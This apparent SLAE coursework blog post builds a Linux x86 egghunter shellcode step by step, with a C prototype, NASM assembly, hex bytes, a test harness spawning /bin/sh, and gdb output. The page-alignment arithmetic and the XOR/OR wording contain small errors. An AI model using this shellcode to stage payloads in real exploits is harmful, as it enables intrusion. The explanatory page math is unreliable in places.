Egghunter Linux Shellcode
An egghunter can be useful in situations where the buffer space the attacker controls is limited and doesn’t allow for a full shellcode to be placed on the stack. The egghunter acts as a staged payload: the smaller payload which is executed first looks through the entire process memory space for a marker (the egg) indicating the start of the larger payload. Once the egg is found, the stager jumps to the memory address following the egg and executes the shellcode.
There’s a few gotchas though that the egghunter has to watch out for:
The main problem the egghunter has to work around is segfaults when trying to access an area of memory that is not allocated. To prevent this, the access
function is called for each memory page and only if the page can be accessed will the shellcode look for the egg inside it. By default, Linux uses a page size of 4096 bytes so if an EFAULT
is returned after calling access
, we skip to the next page to avoid segfaulting.
The egghunter must also avoid locating itself in memory and jumping to the wrong address.
As shown here in the memory map, the stack is located at a higher address than the .text
segment (0x08048000) so if we look in memory for the egg starting from the lower addresses, we’ll match the string in the egghunter code instead of the egg in front of the 2nd stage shellcode (located on the stack).
gef➤ vmmap
Start End Offset Perm Path
0x08048000 0x08049000 0x00000000 r-x /home/slemire/slae32/assignment3/egghunter_c
0x08049000 0x0804a000 0x00000000 r-x /home/slemire/slae32/assignment3/egghunter_c
0x0804a000 0x0804b000 0x00001000 rwx /home/slemire/slae32/assignment3/egghunter_c
0xb7e19000 0xb7e1a000 0x00000000 rwx
0xb7e1a000 0xb7fca000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xb7fca000 0xb7fcc000 0x001af000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xb7fcc000 0xb7fcd000 0x001b1000 rwx /lib/i386-linux-gnu/libc-2.23.so
0xb7fcd000 0xb7fd0000 0x00000000 rwx
0xb7fd6000 0xb7fd7000 0x00000000 rwx
0xb7fd7000 0xb7fda000 0x00000000 r-- [vvar]
0xb7fda000 0xb7fdb000 0x00000000 r-x [vdso]
0xb7fdb000 0xb7ffe000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xb7ffe000 0xb7fff000 0x00022000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xb7fff000 0xb8000000 0x00023000 rwx /lib/i386-linux-gnu/ld-2.23.so
0xbffdf000 0xc0000000 0x00000000 rwx [stack]
Let’s say we have an egghunter program that used an egg with the bytes DEAD
. Using gef
for gdb
, if we search for DEAD
in memory we find a copy in the .text
section at address 0x8048531
and another one in the stack at address 0xbffff1a8
. The 2nd one in the stack is the egg.
[+] Searching 'DEAD' in memory
[+] In '/home/slemire/slae32/assignment3/egghunter_c'(0x8048000-0x8049000), permission=r-x
0x8048531 - 0x8048535 → "DEAD[...]"
0x804853b - 0x804853f → "DEAD[...]"
0x8048545 - 0x8048549 → "DEAD[...]"
[+] In '/home/slemire/slae32/assignment3/egghunter_c'(0x8049000-0x804a000), permission=r-x
0x8049531 - 0x8049535 → "DEAD[...]"
0x804953b - 0x804953f → "DEAD[...]"
0x8049545 - 0x8049549 → "DEAD[...]"
[+] In '[stack]'(0xbffdf000-0xc0000000), permission=rwx
0xbffff1a8 - 0xbffff1ac → "DEAD[...]"
0xbffff1cc - 0xbffff1d0 → "DEAD[...]"
0xbffff1d0 - 0xbffff1d4 → "DEAD[...]"
[...]
gef➤ search-pattern DEADDEAD
[+] Searching 'DEADDEAD' in memory
[+] In '[stack]'(0xbffdf000-0xc0000000), permission=rwx
0xbffff1cc - 0xbffff1d4 → "DEADDEAD[...]"
To avoid matching the string in the code itself, the egghunter code will look for the egg repeated twice. If the egg is only found once, the code assumes this is the string from the .text
section, ignores it and keeps searching.
C prototype
To start with, a C prototype was created to experiment with the egghunter concept. In this example, the egg is DEAD
(4 bytes). The code is not optimized for speed and as such will start looking in memory at address 0x0
. There are probably better ways to optimize this, like start searching at addresses higher than the .text
section, but these addresses could vary if ASLR is used.
The following code shows the C prototype for the egghunter.
#include <errno.h>
#include <stdio.h>
#include <unistd.h>
int main()
{
char egg[4] = "DEAD";
char buffer[1024] = "DEADDEAD\xeb\x1a\x5e\x31\xdb\x88\x5e\x07\x89\x76\x08\x89\x5e\x0c\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\x31\xc0\xb0\x0b\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43";
unsigned long addr = 0x0;
int r;
while (1) {
// Try to read 8 bytes ahead of current memory pointer (8 bytes because the egg will be repeated twice)
r = access(addr+8, 0);
// If we don't get an EFAULT, we'll start checking for the egg
if (errno != 14) {
// Need to check egg twice, so we don't end up matching the egg from our own code
if (strncmp(addr, egg, 4) == 0 && strncmp(addr+4, egg, 4) == 0) {
char tmp[32];
memset(tmp, 0, 32);
strncpy(tmp, addr, 8);
printf("Egg found at: %ul %s, jumping to shellcode (8 bytes ahead of egg address)...\n", addr, tmp);
// Jump to shellcode
int (*ret)() = (int(*)())addr+8;
ret();
}
// Egg not found, keep going one byte at a time
addr++;
} else {
// EFAULT on access, skip to next memory page
addr = addr + 4095;
}
}
}
Now, it’s time to test the egghunter C prototype. Because the buffer containing the 2nd stage of the shellcode is located on the stack and the egghunter will jump to that memory location once it finds the egg, the -z execstack
argument must be passed to the gcc compiler to make the stack executable otherwise it’ll just segfault after jumping.
slemire@slae:~/slae32/assignment3$ ./egghunter_c
Egg found at: 3221221888l DEADDEAD, jumping to shellcode (8 bytes ahead of egg address)...
$ id
uid=1000(slemire) gid=1000(slemire) groups=1000(slemire),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
Nice, now let’s build the assembly version with NASM.
Assembly version of the egghunter
First, registers are cleared and the egg is moved in $esi
. We’ll use that register later when we compare memory content against the egg.
The mul ecx
instruction is a little trick to reduce shellcode size: It multiplies $eax
by $ecx
(which was already zeroed out with the xor
instruction), and the results are stored in both $eax
and $edx
. So basically with a single instruction, we can null out both $eax
and $edx
.
; Zero registers
xor eax, eax
xor
xor ecx, ecx ; ecx = 0
mul ecx ; eax = 0, edx = 0
mov esi, 0xdeadbeef ; our egg: 0xDEADBEEF
The $edx
register is used to keep track of the memory address being read. To check is memory is accessible, access
is used at follows:
; check if we can read the memory
xor eax, eax
mov al, 0x21 ; sys_access
lea ebx, [edx+8] ; const char __user *filename
int 0x80 ; sys_access
cmp al, 0xf2 ; Check if we have an EFAULT
jz next_page ; jump to next page if a fault is raised
If we get an EFAULT
, we need to move to the next memory page (4096 bytes ahead), otherwise the code would run a lot more slowly since we know all 4096 bytes in the current memory page with also generate an EFAULT
. To optimize the process, the current address is XORed with 4095
so the next loop iteration that increases the $edx
register by 1 will end up in the next memory page.
For example, if we just got a fault reading address 0xb7e19000
, XORing the address with 0xfff
results in 0xb7e19fff
. Then 0xb7e19fff
+ 1 = 0xb7e18000
(start of the next page).
next_page:
or dx, 0xfff ; align page
next_byte:
inc edx ; set address to beginning of the memory page
If there’s no fault resulting from access
, we can safely looks through the page one byte at a time. We can use the cmp
instruction using the current $edx
value against the $esi
register that contains the egg value. We also need to repeat the comparison a 2nd time to avoid matching the egg value from the code itself as explained earlier. If the egg is matched, the memory address following the 2nd copy of the egg is copied into $esi
and the code jumps to it, executing the 2nd shellcode located there.
; search for the egg
cmp [edx], esi
jnz next_byte
; search again for 2nd copy of the egg (avoid matching code itself)
cmp [edx+4], esi
jnz next_byte
; egg found, jump to shellcode
lea esi, [edx + 8]
jmp esi
The final version of the egghunter code is shown below:
global _start
section .text
_start:
; Zero registers
xor eax, eax
xor
xor ecx, ecx ; ecx = 0
mul ecx ; eax = 0, edx = 0
mov esi, 0xdeadbeef ; our egg: 0xDEADBEEF
next_page:
or dx, 0xfff ; align page
next_byte:
inc edx ; set address to beginning of the memory page
; check if we can read the memory
xor eax, eax
mov al, 0x21 ; sys_access
lea ebx, [edx+8] ; const char __user *filename
int 0x80 ; sys_access
cmp al, 0xf2 ; Check if we have an EFAULT
jz next_page ; jump to next page if a fault is raised
; search for the egg
cmp [edx], esi
jnz next_byte
; search again for 2nd copy of the egg (avoid matching code itself)
cmp [edx+4], esi
jnz next_byte
; egg found, jump to shellcode
lea esi, [edx + 8]
jmp esi
Compiling the shellcode with NASM:
slemire@slae:~/slae32/assignment3$ ../compile.sh egghunter
[+] Assembling with Nasm ...
[+] Linking ...
[+] Shellcode: \x31\xc9\xf7\xe1\xbe\xef\xbe\xad\xde\x66\x81\xca\xff\x0f\x42\x31\xc0\xb0\x21\x8d\x5a\x08\xcd\x80\x3c\xf2\x74\xed\x39\x32\x75\xee\x39\x72\x04\x75\xe9\x8d\x72\x08\xff\xe6
[+] Length: 42
[+] Done!
To test the egghunter shellcode, a skeleton C program is used. The buffer
array contains a simple execve shellcode prepended by two copies of the egg 0xdeadbeef
(in little-endian format).
#include <stdio.h>
char buffer[1024] = "\xef\xbe\xad\xde\xef\xbe\xad\xde\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
char shellcode[] = "\x31\xc9\xf7\xe1\xbe\xef\xbe\xad\xde\x66\x81\xca\xff\x0f\x42\x31\xc0\xb0\x21\x8d\x5a\x08\xcd\x80\x3c\xf2\x74\xed\x39\x32\x75\xee\x39\x72\x04\x75\xe9\x8d\x72\x08\xff\xe6";
int main()
{
int (*ret)() = (int(*)())shellcode;
printf("Size: %d bytes.\n", sizeof(shellcode));
ret();
}
The following output shows that the shellcode works as intended and is able to locate the egg and execute the 2nd stage payload.
slemire@slae:~/slae32/assignment3$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
slemire@slae:~/slae32/assignment3$ ./shellcode
Size: 43 bytes.
$ id
uid=1000(slemire) gid=1000(slemire) groups=1000(slemire),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1236
All source files can be found on GitHub at https://github.com/slemire/slae32